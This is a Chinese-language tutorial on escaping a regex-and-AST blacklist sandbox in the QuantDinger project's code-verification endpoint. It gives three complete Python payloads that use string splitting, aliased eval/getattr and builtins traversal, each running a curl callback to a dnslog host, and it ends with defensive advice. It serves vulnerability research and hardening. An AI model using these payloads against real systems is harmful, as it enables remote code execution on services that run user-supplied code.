绕过正则表达式+抽象语法树(AST)实现Python代码执行
字数 2987
更新时间 2026-03-07 12:06:08

绕过正则表达式与AST实现Python沙箱逃逸的教学文档

前言

本教学文档基于对开源项目QuantDinger的代码审计案例,详细分析如何通过多步骤技术绕过Python沙箱保护机制。该保护机制结合了正则表达式(Regex)和抽象语法树(AST)检查。本教学将深入讲解绕过的原理、思路和具体实现方法。

一、漏洞环境与背景

1.1 目标系统

  • 项目: QuantDinger
  • 漏洞接口: /api/indicator/verifyCode
  • 初始状态: 该接口最初对传入的代码(code参数)没有任何过滤,可直接导致远程代码执行(RCE)。
  • 防护引入: 为修复漏洞,开发者引入了backend_api_python\app\utils\safe_exec.py模块,旨在对执行的代码进行安全检查。

1.2 防护机制分析 (safe_exec.py)

防护机制采用两层“黑名单”式过滤:

  1. 第一层:正则表达式(Regex)匹配

    • 目的:在代码执行前,对输入的整个代码字符串进行扫描,匹配并拦截危险关键字和模式。
    • 拦截示例
      • r'\beval\s*\(' (匹配 eval(eval ()
      • r'\b__import__\s*\('
      • r'\bos\.system\b'
      • r'\bexec\b', r'\bcompile\b', r'\bgetattr\b 等。
  2. 第二层:抽象语法树(AST)检查

    • 目的:将代码解析为AST(一种树形结构),进行更深入的静态分析,以识别正则难以捕捉的复杂模式。
    • 检查点
      • 函数调用检查:遍历 ast.Call 节点,检查被调用函数名(func.id)是否在黑名单中(如 eval, exec, __import__, getattr 等)。
      • 属性访问检查:检查 ast.Attribute 节点,防止访问如 obj.__builtins__ 等敏感属性。
      • 子类检查:阻止创建或调用可能用于攻击的子类。

二、核心绕过原理

绕过此双层防护的核心在于利用静态分析的局限性

  1. AST是静态的:它分析的是代码的“形状”(语法结构),而非代码的“行为”(运行时值)。
  2. 正则匹配是字面的:它匹配的是代码文本中连续出现的特定字符序列。

因此,只要让危险代码的“语法形态”或“文本形态”不匹配防护规则,即可绕过。

三、绕过方法详解

思路一:字符串拼接 + 函数别名

核心技巧:拆分关键字,并改变调用方式。

# 1. 绕过正则: e = eval 后面没有左括号,不会触发 r'\beval\s*\('
e = eval

# 2. 绕过正则: 使用拼接隐藏 "__import__", "os", "system" 等关键词
p = "__im" + "port__"
o = "o" + "s"
s = "sys" + "tem"

# 3. 绕过 AST: 调用 e 而不是 eval,AST 不会拦截非黑名单函数名
e(p + "('" + o + "')." + s + "('curl htlwx9.dnslog.cn')")
  • 绕过正则
    • eval 后面是分号,不是括号,不匹配 r'\beval\s*\('
    • "__im" + "port__" 在正则扫描时是两个独立的字符串,不匹配 r'\b__import__\s*\('
    • "o" + "s""sys" + "tem" 同理,绕过了对 os.system 的匹配。
  • 绕过AST
    • AST看到的是对变量 e 的函数调用。由于 e 不在 dangerous_functions 黑名单中,检查通过。AST无法追踪到变量 e 在运行时的值就是 eval

思路二:基类继承树漫游

核心技巧:利用Python对象的内置属性链(__class__, __bases__, __globals__)获取基础函数,并使用 getattr 进行动态访问。

g = getattr

# 拼接字符串绕过正则
gn = "__glob" + "als__"
bn = "__buil" + "tins__"

# 1. 获取一个匿名函数(lambda:0)的全局命名空间(__globals__)
# 2. 从该命名空间中取出 __builtins__ 字典
# 3. 从 __builtins__ 中取出 eval 函数
e = g(lambda:0, gn)[bn]['ev' + 'al']

# 4. 使用拼接的字符串调用 eval 执行命令
e('__im' + 'port__("os").system("curl b2bsnv.dnslog.cn")')
  • 绕过正则:所有关键字符串(__globals__, __builtins__, eval, __import__)均被拆分。
  • 绕过AST
    • 使用 g = getattr 创建别名,后续调用 g(...) 不会被识别为 getattr 调用。
    • 通过 g(lambda:0, gn) 的方式访问 __globals__ 属性,这被解析为一个函数调用 (ast.Call),而不是一个属性访问 (ast.Attribute),从而绕过针对 . 操作符的属性检查。
    • e = ...['ev' + 'al'] 是通过字典键值访问获取 eval,同样避开了直接的函数名调用检查。

思路三:依赖漫游攻击

核心技巧:利用目标执行环境中已注入的、合法的第三方库(如Pandas的pd、NumPy的np)对象,从其内部漫游至Python内置的危险函数。

# 1. 拼接字符串绕过正则
g = getattr
bk = '__buil' + 'tins__'

# 2. 利用注入的 pd (Pandas) 对象漫游获取内置函数库
# 使用 g(pd, bk) 获取 pd.__builtins__,避开 AST 对“.xxx”属性访问的检查
b = g(pd, bk)

ik = '__im' + 'port__'
# 3. 从内置库中提取导入函数
i = b[ik] if isinstance(b, dict) else g(b, ik)

ok = 'o' + 's'
sk = 'sys' + 'tem'

# 4. 最终执行命令
g(i(ok), sk)('curl lemqss.dnslog.cn')
  • 绕过正则:所有关键字被拆分。
  • 绕过AST
    • 关键点1g(pd, bk) 替代 pd.__builtins__。AST将其视为一个普通的函数调用,第一个参数是pd(一个外部库对象,不在黑名单中),第二个参数是变量bk。这巧妙地避开了safe_exec.py中针对 getattr(builtins, '__import__') 的特判逻辑(该逻辑检查node.args[0].id是否为'builtins''__builtins__')。
    • 关键点2:最终的命令执行调用是 g(i(ok), sk),其中 ggetattr 的别名,i(ok) 返回 os 模块,sk 是字符串 'system'。整个结构在AST中呈现为一系列“安全”的函数调用和变量操作,没有触发任何一条黑名单规则。

四、教学总结与防护思考

4.1 技术要点回顾

  1. 字符串混淆:对抗基于文本正则匹配的过滤。
  2. 函数别名与间接调用:对抗基于AST函数名检测的黑名单。
  3. 动态属性访问:使用 getattr(obj, attr_name) 或字典访问 obj['attr'] 替代 obj.attr,以绕过AST对属性节点的检查。
  4. 对象漫游:利用Python对象链(__class____globals____builtins__)或已导入的复杂模块,从“合法”的起点逐步获取“危险”的函数或模块。

4.2 对防护机制的启示

本案例中的防护(正则+AST黑名单)是典型的**“马奇诺防线”**,存在固有缺陷:

  • 静态分析的无力:无法进行数据流分析和指针别名分析,因此无法确定一个变量在运行时究竟指向什么。
  • 黑名单的局限:无法穷尽所有危险的代码模式,尤其是当攻击者可以利用语言特性进行组合时。

4.3 更有效的防护建议

  1. 严格的白名单机制:定义允许使用的安全函数和模块列表,而非拦截危险列表。
  2. 真正的沙箱隔离
    • 系统层面:在容器(如Docker)或独立进程中运行不可信代码,并严格限制其网络、文件系统权限。
    • 解释器层面:使用 PyPy 沙箱、RestrictedPython 或自定义的 sys.modules__builtins__,彻底移除危险模块和函数。
  3. 代码签名与完整性校验:确保执行的代码来源可信且未被篡改。
  4. 输入规范化与预检:在对代码进行安全检查前,可尝试对简单的混淆(如固定字符串拼接)进行规范化还原,增加攻击者混淆的成本。

结论:在Python中实现一个安全的代码执行沙箱极其困难。最稳妥的方案是避免执行用户提供的动态代码。如果业务必须,则应采用操作系统级别的隔离机制,并将代码执行权限降至最低。

相似文章
相似文章
 全屏